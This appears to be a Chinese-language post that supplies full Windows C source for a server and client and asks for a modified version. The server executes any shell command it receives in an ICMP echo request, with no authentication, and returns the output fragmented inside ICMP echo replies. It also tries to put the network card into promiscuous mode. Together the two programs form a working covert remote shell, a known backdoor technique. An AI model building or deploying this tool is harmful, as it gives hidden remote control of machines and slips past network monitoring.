我将提供给你现有的程序代码,按照上面的修改要求,给出完整的代码
服务器
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define _CRT_SECURE_NO_WARNINGS
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#include <stddef.h>
#include <iphlpapi.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "iphlpapi.lib")
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define _CRT_SECURE_NO_WARNINGS
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#include <stddef.h>
#include <iphlpapi.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "iphlpapi.lib")
#define BUFFER_SIZE 1024
#define MAX_DATA_SIZE 120
#define DEBUG_MODE 1
#define MAGIC_HEADER "CMD_"
SOCKET rawSocket;
unsigned short processId;
BOOL isRunning = TRUE;
#define SIO_RCVALL _WSAIOW(IOC_VENDOR, 1)
#define RCVALL_ON 1
typedef struct {
unsigned char ip_hl : 4;
unsigned char ip_v : 4;
unsigned char ip_tos;
unsigned short ip_len;
unsigned short ip_id;
unsigned short ip_off;
unsigned char ip_ttl;
unsigned char ip_p;
unsigned short ip_sum;
struct in_addr ip_src;
struct in_addr ip_dst;
} IP_HEADER;
typedef struct {
unsigned char type;
unsigned char code;
unsigned short checksum;
unsigned short id;
unsigned short seq;
char data[128];
} ICMP_HEADER;
// 统一的分片结构体 (与客户端完全一致)
#pragma pack(push, 1)
typedef struct {
char magic[4]; // "CMD_"
unsigned short total_size; // 结果总大小
unsigned short fragment_count; // 总分片数
unsigned short fragment_index; // 当前分片索引
char data[MAX_DATA_SIZE]; // 数据
} UnifiedFragment;
#pragma pack(pop)
// 计算校验和
unsigned short checksum(unsigned short* buf, int len) {
unsigned long sum = 0;
while (len > 1) {
sum += *buf++;
len -= 2;
}
if (len == 1) {
sum += (unsigned char)*buf;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += sum >> 16;
return (unsigned short)~sum;
}
// 获取本地IP地址列表
void printLocalIPs() {
PIP_ADAPTER_INFO pAdapterInfo;
PIP_ADAPTER_INFO pAdapter = NULL;
DWORD dwRetVal = 0;
ULONG ulOutBufLen = sizeof(IP_ADAPTER_INFO);
pAdapterInfo = (IP_ADAPTER_INFO*)malloc(ulOutBufLen);
if (!pAdapterInfo) return;
if (GetAdaptersInfo(pAdapterInfo, &ulOutBufLen) == ERROR_BUFFER_OVERFLOW) {
free(pAdapterInfo);
pAdapterInfo = (IP_ADAPTER_INFO*)malloc(ulOutBufLen);
if (!pAdapterInfo) return;
}
if (GetAdaptersInfo(pAdapterInfo, &ulOutBufLen) == NO_ERROR) {
pAdapter = pAdapterInfo;
printf("可用的本地IP地址:\n");
while (pAdapter) {
if (pAdapter->IpAddressList.IpAddress.String[0] != '0') {
printf(" - %s (接口: %s)\n",
pAdapter->IpAddressList.IpAddress.String,
pAdapter->Description);
}
pAdapter = pAdapter->Next;
}
}
free(pAdapterInfo);
}
// 发送ICMP消息
int sendICMPMessage(const char* ipAddress, const char* message, int messageLen, int seq, int type) {
struct sockaddr_in destAddr;
char sendBuf[sizeof(ICMP_HEADER) + 256] = { 0 };
ICMP_HEADER* icmpHeader = (ICMP_HEADER*)sendBuf;
int ret;
memset(&destAddr, 0, sizeof(destAddr));
destAddr.sin_family = AF_INET;
if (inet_pton(AF_INET, ipAddress, &destAddr.sin_addr) != 1) {
printf("❌ 无效的IP地址: %s\n", ipAddress);
return -1;
}
icmpHeader->type = type;
icmpHeader->code = 0;
icmpHeader->id = processId;
icmpHeader->seq = htons(seq);
memcpy(icmpHeader->data, message, messageLen);
int icmpTotalLen = offsetof(ICMP_HEADER, data) + messageLen;
icmpHeader->checksum = 0;
icmpHeader->checksum = checksum((unsigned short*)icmpHeader, icmpTotalLen);
ret = sendto(rawSocket, sendBuf, icmpTotalLen, 0, (struct sockaddr*)&destAddr, sizeof(destAddr));
if (ret == SOCKET_ERROR) {
printf("❌ 发送失败 (错误码: %d)\n", WSAGetLastError());
}
return ret;
}
// 发送命令执行结果
void sendCommandResult(const char* ipAddress, const char* result, int seq) {
int totalLength = strlen(result);
int fragmentCount = (totalLength + MAX_DATA_SIZE - 1) / MAX_DATA_SIZE;
int currentSeq = seq;
printf("命令结果大小: %d字节, 分%d个包发送\n", totalLength, fragmentCount);
for (int i = 0; i < fragmentCount; i++) {
UnifiedFragment fragment;
memcpy(fragment.magic, MAGIC_HEADER, 4);
fragment.total_size = htons(totalLength);
fragment.fragment_count = htons(fragmentCount);
fragment.fragment_index = htons(i);
int copySize = (i == fragmentCount - 1) ?
(totalLength - i * MAX_DATA_SIZE) :
MAX_DATA_SIZE;
memcpy(fragment.data, result + i * MAX_DATA_SIZE, copySize);
// 发送整个结构体
sendICMPMessage(ipAddress, (char*)&fragment, sizeof(UnifiedFragment), currentSeq, 0);
#if DEBUG_MODE
printf("✅ 发送分片 %d/%d (序列号: %d, 大小: %d字节)\n",
i + 1, fragmentCount, currentSeq, copySize);
// 调试输出:打印前16字节HEX
printf(" 分片头: ");
for (int j = 0; j < 16; j++) {
printf("%02X ", (unsigned char)((char*)&fragment)[j]);
}
printf("\n");
#endif
currentSeq++;
Sleep(30);
}
// 发送结束标记
sendICMPMessage(ipAddress, "CMD_FINISH", 11, currentSeq, 0);
printf("✅ 命令结果发送完成\n");
}
// 执行命令
char* execute_command(const char* cmd) {
FILE* fp = _popen(cmd, "r");
if (!fp) return _strdup("命令执行失败");
char buffer[BUFFER_SIZE];
size_t totalSize = 0;
size_t allocated = BUFFER_SIZE * 10;
char* result = (char*)malloc(allocated);
if (!result) {
_pclose(fp);
return _strdup("内存分配失败");
}
result[0] = '\0';
while (fgets(buffer, sizeof(buffer), fp)) {
size_t len = strlen(buffer);
if (totalSize + len + 1 > allocated) {
allocated *= 2;
char* newResult = (char*)realloc(result, allocated);
if (!newResult) {
free(result);
_pclose(fp);
return _strdup("内存分配失败");
}
result = newResult;
}
strcat(result, buffer);
totalSize += len;
}
_pclose(fp);
return result;
}
// 处理命令
void processCommand(const char* srcIP, const char* command) {
printf("\n📩 收到命令: %s\n", command);
char* result = execute_command(command);
if (!result) result = _strdup("命令执行失败");
sendCommandResult(srcIP, result, 1);
free(result);
}
// 主循环
void serverLoop() {
char recvBuf[65535];
struct sockaddr_in srcAddr;
int srcAddrSize = sizeof(srcAddr);
printf("服务器已启动,等待命令...\n");
while (isRunning) {
int ret = recvfrom(rawSocket, recvBuf, sizeof(recvBuf), 0, (struct sockaddr*)&srcAddr, &srcAddrSize);
if (ret == SOCKET_ERROR) {
int error = WSAGetLastError();
if (error == WSAETIMEDOUT) continue;
printf("❌ 接收错误: %d\n", error);
continue;
}
IP_HEADER* ipHeader = (IP_HEADER*)recvBuf;
if (ipHeader->ip_p != IPPROTO_ICMP) continue;
int ipHeaderLen = ipHeader->ip_hl * 4;
if (ipHeaderLen < sizeof(IP_HEADER)) continue;
ICMP_HEADER* icmpHeader = (ICMP_HEADER*)(recvBuf + ipHeaderLen);
char ipStr[INET_ADDRSTRLEN];
InetNtopA(AF_INET, &ipHeader->ip_src, ipStr, INET_ADDRSTRLEN);
#if DEBUG_MODE
printf("\n收到 %d 字节数据,来源: %s\n", ret, ipStr);
printf("IP协议: %d, ICMP类型: %d\n", ipHeader->ip_p, icmpHeader->type);
printf("数据头: %.4s\n", icmpHeader->data);
#endif
if (icmpHeader->type == 8 && strncmp(icmpHeader->data, "cmd:", 4) == 0) {
processCommand(ipStr, icmpHeader->data + 4);
}
}
}
int main() {
WSADATA wsaData;
struct sockaddr_in localAddr;
DWORD bytesReturned;
char ipChoice[16];
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
printf("❌ WSAStartup失败: %d\n", WSAGetLastError());
return 1;
}
printLocalIPs();
processId = (unsigned short)GetCurrentProcessId();
printf("\n服务器进程ID: %d\n", processId);
printf("\n请输入要绑定的IP地址: ");
if (fgets(ipChoice, sizeof(ipChoice), stdin) == NULL) {
printf("❌ 输入错误\n");
WSACleanup();
return 1;
}
ipChoice[strcspn(ipChoice, "\n")] = '\0';
rawSocket = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0, WSA_FLAG_OVERLAPPED);
if (rawSocket == INVALID_SOCKET) {
printf("❌ 创建套接字失败: %d (需管理员权限)\n", WSAGetLastError());
WSACleanup();
return 1;
}
memset(&localAddr, 0, sizeof(localAddr));
localAddr.sin_family = AF_INET;
localAddr.sin_addr.s_addr = inet_addr(ipChoice);
if (bind(rawSocket, (struct sockaddr*)&localAddr, sizeof(localAddr)) == SOCKET_ERROR) {
printf("❌ 绑定失败: %d\n", WSAGetLastError());
closesocket(rawSocket);
WSACleanup();
return 1;
}
printf("✅ 已绑定到: %s\n", ipChoice);
unsigned long optval = RCVALL_ON;
if (WSAIoctl(rawSocket, SIO_RCVALL, &optval, sizeof(optval), NULL, 0, &bytesReturned, NULL, NULL) == SOCKET_ERROR) {
printf("⚠️ 警告: 混杂模式未启用 (错误码: %d)\n", WSAGetLastError());
printf("➡️ 仍可接收定向到本机的消息\n");
}
else {
printf("✅ 已启用混杂模式\n");
}
serverLoop();
printf("\n关闭服务器...\n");
closesocket(rawSocket);
WSACleanup();
return 0;
}
客户端
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define _CRT_SECURE_NO_WARNINGS
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#pragma comment(lib, "ws2_32.lib")
#define DEBUG_MODE 1
#define MAX_PACKET_SIZE 1024
#define ICMP_ECHO_REQUEST 8
#define ICMP_ECHO_REPLY 0
#define ICMP_MIN_SIZE 8
#define CMD_PREFIX "cmd:"
#define CMD_PREFIX_LEN 4
#define MAGIC_HEADER "CMD_"
#define MAX_DATA_SIZE 120
// 强制1字节对齐确保跨平台兼容性
#pragma pack(push, 1)
typedef struct {
unsigned char ip_hl : 4;
unsigned char ip_v : 4;
unsigned char ip_tos;
unsigned short ip_len;
unsigned short ip_id;
unsigned short ip_off;
unsigned char ip_ttl;
unsigned char ip_p;
unsigned short ip_sum;
unsigned int ip_src;
unsigned int ip_dst;
} IP_HEADER;
typedef struct {
unsigned char icmp_type;
unsigned char icmp_code;
unsigned short icmp_checksum;
unsigned short icmp_id;
unsigned short icmp_seq;
} ICMP_HEADER;
// 统一的分片结构体 (与服务器完全一致)
typedef struct {
char magic[4]; // "CMD_"
unsigned short total_size; // 结果总大小
unsigned short fragment_count; // 总分片数
unsigned short fragment_index; // 当前分片索引
char data[MAX_DATA_SIZE]; // 数据
} UnifiedFragment;
#pragma pack(pop)
// 计算校验和函数
unsigned short checksum(unsigned short* buffer, int size) {
unsigned long cksum = 0;
while (size > 1) {
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if (size) {
cksum += *(unsigned char*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (unsigned short)(~cksum);
}
// 发送命令函数
void sendCommand(const char* command, const char* srcIP, const char* dstIP, int seq) {
SOCKET rawSocket = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (rawSocket == INVALID_SOCKET) {
printf("创建原始套接字失败: %d\n", WSAGetLastError());
return;
}
// 设置源IP地址
sockaddr_in srcAddr;
memset(&srcAddr, 0, sizeof(srcAddr));
srcAddr.sin_family = AF_INET;
srcAddr.sin_addr.s_addr = inet_addr(srcIP);
if (bind(rawSocket, (sockaddr*)&srcAddr, sizeof(srcAddr)) == SOCKET_ERROR) {
printf("绑定到源IP %s 失败: %d\n", srcIP, WSAGetLastError());
closesocket(rawSocket);
return;
}
printf("? 已绑定到源IP: %s\n", srcIP);
// 设置目标地址
sockaddr_in dstAddr;
memset(&dstAddr, 0, sizeof(dstAddr));
dstAddr.sin_family = AF_INET;
dstAddr.sin_addr.s_addr = inet_addr(dstIP);
// 构造ICMP请求包
char sendBuf[MAX_PACKET_SIZE] = { 0 };
ICMP_HEADER* icmpHeader = (ICMP_HEADER*)sendBuf;
icmpHeader->icmp_type = ICMP_ECHO_REQUEST;
icmpHeader->icmp_code = 0;
icmpHeader->icmp_id = (unsigned short)GetCurrentProcessId();
icmpHeader->icmp_seq = htons(seq);
// 添加命令前缀和内容
char* payload = sendBuf + sizeof(ICMP_HEADER);
strncpy(payload, CMD_PREFIX, CMD_PREFIX_LEN);
strncpy(payload + CMD_PREFIX_LEN, command, MAX_PACKET_SIZE - sizeof(ICMP_HEADER) - CMD_PREFIX_LEN);
int payloadLen = CMD_PREFIX_LEN + (int)strlen(command) + 1;
int packetSize = sizeof(ICMP_HEADER) + payloadLen;
// 计算校验和
icmpHeader->icmp_checksum = 0;
icmpHeader->icmp_checksum = checksum((unsigned short*)icmpHeader, packetSize);
// 发送命令
if (sendto(rawSocket, sendBuf, packetSize, 0, (sockaddr*)&dstAddr, sizeof(dstAddr)) == SOCKET_ERROR) {
printf("发送命令失败: %d\n", WSAGetLastError());
}
else {
printf("? 发送命令: %s (大小: %d字节, 序列号: %d)\n", command, packetSize, seq);
}
closesocket(rawSocket);
}
// 接收命令结果函数
void receiveCommandResult(int seq, const char* srcIP) {
SOCKET rawSocket = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (rawSocket == INVALID_SOCKET) {
printf("创建原始套接字失败: %d\n", WSAGetLastError());
return;
}
// 设置接收超时
DWORD timeout = 10000; // 延长超时时间到10秒
setsockopt(rawSocket, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout, sizeof(timeout));
// 设置源IP地址(仅用于接收)
sockaddr_in localAddr;
memset(&localAddr, 0, sizeof(localAddr));
localAddr.sin_family = AF_INET;
localAddr.sin_addr.s_addr = inet_addr(srcIP);
bind(rawSocket, (sockaddr*)&localAddr, sizeof(localAddr));
printf("等待结果 (超时: %dms)...\n", timeout);
char recvBuf[MAX_PACKET_SIZE] = { 0 };
char* resultBuffer = NULL;
int resultSize = 0;
int fragmentCount = 0;
int receivedFragments = 0;
time_t startTime = time(NULL);
while (1) {
// 检查超时
if (time(NULL) - startTime > 10) {
printf("? 接收超时\n");
break;
}
sockaddr_in fromAddr;
int fromAddrLen = sizeof(fromAddr);
int bytesRead = recvfrom(rawSocket, recvBuf, sizeof(recvBuf), 0,
(sockaddr*)&fromAddr, &fromAddrLen);
if (bytesRead == SOCKET_ERROR) {
if (WSAGetLastError() == WSAETIMEDOUT) {
printf("? 接收超时\n");
break;
}
printf("接收错误: %d\n", WSAGetLastError());
continue;
}
// 解析IP头
IP_HEADER* ipHeader = (IP_HEADER*)recvBuf;
int ipHeaderLen = ipHeader->ip_hl * 4;
// 检查协议类型
if (ipHeader->ip_p != IPPROTO_ICMP) {
continue;
}
// 解析ICMP头
ICMP_HEADER* icmpHeader = (ICMP_HEADER*)(recvBuf + ipHeaderLen);
unsigned short recvSeq = ntohs(icmpHeader->icmp_seq);
// 调试输出:显示接收到的包信息
#if DEBUG_MODE
char fromIP[16];
strcpy(fromIP, inet_ntoa(fromAddr.sin_addr));
printf("收到包: 类型=%d, 序列号=%d, 来源IP=%s\n",
icmpHeader->icmp_type, recvSeq, fromIP);
#endif
// 只处理当前序列号范围内的包
if (recvSeq < seq) {
#if DEBUG_MODE
printf("跳过过时包 (seq=%d < 当前=%d)\n", recvSeq, seq);
#endif
continue;
}
// 处理ICMP响应
if (icmpHeader->icmp_type == ICMP_ECHO_REPLY) {
char* payload = recvBuf + ipHeaderLen + sizeof(ICMP_HEADER);
int payloadLen = bytesRead - ipHeaderLen - sizeof(ICMP_HEADER);
// 检查是否是命令分片
if (payloadLen > sizeof(UnifiedFragment) - MAX_DATA_SIZE && // 确保有足够数据
memcmp(payload, MAGIC_HEADER, 4) == 0) {
UnifiedFragment* fragment = (UnifiedFragment*)payload;
// 正确转换网络字节序
unsigned short fragIndex = ntohs(fragment->fragment_index);
unsigned short fragCount = ntohs(fragment->fragment_count);
unsigned short totalSize = ntohs(fragment->total_size);
// 首次收到分片时初始化缓冲区
if (fragmentCount == 0) {
// 添加合理性检查
if (fragCount > 1000 || totalSize > 10 * 1024 * 1024) {
printf("! 无效的分片参数: count=%d, size=%d\n", fragCount, totalSize);
continue;
}
fragmentCount = fragCount;
resultSize = totalSize;
resultBuffer = (char*)malloc(resultSize + 1);
if (!resultBuffer) {
printf("内存分配失败\n");
break;
}
memset(resultBuffer, 0, resultSize + 1);
printf("? 命令结果大小: %d字节, 分%d个包发送\n", resultSize, fragmentCount);
}
// 添加分片索引有效性检查
if (fragIndex < fragmentCount) {
// 计算数据长度
int dataOffset = offsetof(UnifiedFragment, data);
int fragDataLen = payloadLen - dataOffset;
// 防止负长度
if (fragDataLen < 0) fragDataLen = 0;
// 计算当前分片应复制的最大数据量
int maxFragmentSize = MAX_DATA_SIZE;
int offset = fragIndex * maxFragmentSize;
// 防止缓冲区溢出
if (offset + fragDataLen > resultSize) {
fragDataLen = resultSize - offset;
}
if (fragDataLen > 0) {
memcpy(resultBuffer + offset, fragment->data, fragDataLen);
}
receivedFragments++;
#if DEBUG_MODE
printf("? 收到分片 %d/%d (序列号: %d, 大小: %d字节)\n",
fragIndex + 1, fragmentCount, recvSeq, fragDataLen);
// 调试输出:打印前16字节HEX
printf(" 分片头: ");
for (int j = 0; j < 16; j++) {
printf("%02X ", (unsigned char)payload[j]);
}
printf("\n");
#endif
// 检查是否收到所有分片
if (receivedFragments >= fragmentCount) {
printf("? 命令结果接收完成\n");
printf("命令结果:\n%.*s\n", resultSize, resultBuffer);
free(resultBuffer);
closesocket(rawSocket);
return;
}
}
else {
#if DEBUG_MODE
printf("! 无效分片索引: %d (最大: %d)\n", fragIndex, fragmentCount);
#endif
}
}
// 检查结束标记
else if (strncmp(payload, "CMD_FINISH", 10) == 0) {
printf("? 收到结束标记\n");
if (resultBuffer && receivedFragments > 0) {
printf("命令结果 (部分):\n%.*s\n", resultSize, resultBuffer);
}
break;
}
}
}
if (resultBuffer) {
free(resultBuffer);
}
closesocket(rawSocket);
if (receivedFragments > 0) {
printf("? 收到部分结果 (%d/%d 分片)\n", receivedFragments, fragmentCount);
} else {
printf("? 未收到有效结果\n");
}
}
// 主函数
int main() {
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
printf("WSAStartup失败: %d\n", WSAGetLastError());
return 1;
}
printf("客户端\n");
// 获取本地IP地址
char hostname[256];
if (gethostname(hostname, sizeof(hostname))) {
printf("获取主机名失败\n");
return 1;
}
struct hostent* host = gethostbyname(hostname);
if (!host) {
printf("获取IP地址失败\n");
return 1;
}
printf("可用的本地IP地址:\n");
for (int i = 0; host->h_addr_list[i]; i++) {
struct in_addr addr;
memcpy(&addr, host->h_addr_list[i], sizeof(struct in_addr));
printf(" - %s\n", inet_ntoa(addr));
}
printf("客户端进程ID: %d\n\n", GetCurrentProcessId());
char serverIP[16] = { 0 };
char clientIP[16] = { 0 };
printf("服务器IP地址: ");
scanf("%15s", serverIP);
printf("客户端使用的源IP地址: ");
scanf("%15s", clientIP);
int seq = 1;
char command[256] = { 0 };
while (1) {
printf("\n输入命令 (exit退出): ");
scanf(" %255[^\n]", command); // 限制输入长度防止溢出
if (strcmp(command, "exit") == 0) {
break;
}
sendCommand(command, clientIP, serverIP, seq);
receiveCommandResult(seq, clientIP);
seq++;
}
WSACleanup();
return 0;
}
最新发布